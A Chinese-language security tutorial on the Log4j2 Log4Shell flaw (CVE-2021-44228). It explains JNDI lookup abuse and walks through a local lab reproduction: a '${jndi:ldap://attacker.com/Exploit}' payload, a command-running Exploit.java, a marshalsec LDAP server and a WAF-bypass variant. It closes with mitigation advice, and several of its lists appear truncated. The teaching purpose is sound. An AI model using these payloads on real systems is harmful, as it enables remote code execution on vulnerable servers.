去年年底爆发的Log4j2漏洞(CVE-2021-44228)堪称近年来影响范围最广的Java安全事件。作为一名长期从事Web安全研究的从业者,我亲历了整个漏洞从发现到应急响应的全过程。本文将基于实战经验,带你深入理解漏洞原理,并手把手完成本地复现。
Log4j2作为Apache基金会旗下的Java日志记录工具,被广泛应用于各类Java应用中。根据统计,全球超过60%的Java项目直接或间接依赖Log4j2组件。漏洞曝光后,从云计算平台到企业级应用,甚至政府系统都受到波及。
漏洞本质是Log4j2的JNDI查找功能缺乏安全限制,攻击者通过构造特殊日志消息,可触发远程代码执行。最典型的攻击向量形如:
java复制${jndi:ldap://attacker.com/Exploit}
Log4j2为了支持灵活的日志格式,提供了Lookup功能。当遇到${prefix:key}格式的日志消息时,会通过prefix定位对应的Lookup实现,将key作为参数传递。其中jndi这个prefix对应JNDI查找功能。
完整的攻击流程涉及三个关键角色:
攻击时序:
关键点:在JDK 8u121之前,JNDI默认允许从远程加载对象,这是漏洞能够利用的基础条件。
text复制攻击者机器(192.168.1.100)
├── LDAP服务(1389)
└── HTTP服务(8000)
受害机器(192.168.1.200)
└── 漏洞测试应用
创建Exploit.java:
java复制public class Exploit {
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译后放置于HTTP服务根目录:
bash复制javac Exploit.java
python3 -m http.server 8000
使用marshalsec搭建恶意LDAP服务:
bash复制java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \
"http://192.168.1.100:8000/#Exploit" 1389
创建测试应用Log4jVulnDemo.java:
java复制import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jVulnDemo {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String payload = "${jndi:ldap://192.168.1.100:1389/Exploit}";
logger.error(payload);
}
}
执行测试程序后,系统计算器将被弹出,同时可在LDAP服务端看到请求日志:
code复制Send LDAP reference result for Exploit redirecting to http://192.168.1.100:8000/Exploit.class
MessagePatternConverter检测到${前缀StrSubstitutor提取jndi:ldap://...作为查找表达式Interpolator调用JndiLookup执行查找JndiManager通过LDAP协议请求远程服务bash复制-Dlog4j2.formatMsgNoLookups=true
bash复制export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
| 方案类型 | 具体措施 | 优缺点 |
|---|---|---|
| 升级修复 | 升级到Log4j 2.17.1+ | 彻底解决,但需测试兼容性 |
| 代码层防护 | 输入过滤${字符 |
简单有效,但可能有遗漏 |
| 网络层防护 | 限制外连LDAP/RMI | 影响正常功能 |
| 运行时防护 | 使用RASP工具 | 无侵入但性能损耗 |
资产梳理:
纵深防御:
text复制Web防火墙 → 输入过滤
↓
应用服务器 → 禁用JNDI
↓
操作系统 → 网络出站限制
↓
监控系统 → 异常日志告警
应急响应:
接口分析:
${}\的过滤情况依赖项审计:
bash复制mvn dependency:tree | grep log4j
流量监控:
最小权限原则:
深度防御策略:
text复制输入验证 → 业务逻辑校验 → 安全组件拦截 → 运行时防护
持续监控:
在实际应急响应中,我们发现几个容易被忽视的点:
间接依赖问题:
很多项目通过Spring Boot Starter间接引入Log4j2,开发者往往 unaware
容器环境特殊性:
WAF绕过技巧:
${${lower:jndi}等变形建议的防护检查清单:
这个漏洞给我们的最大启示是:即使是日志组件这样的基础设施,也可能成为攻击突破口。在安全设计时,必须对所有数据流动路径保持怀疑态度,建立全面的防御体系。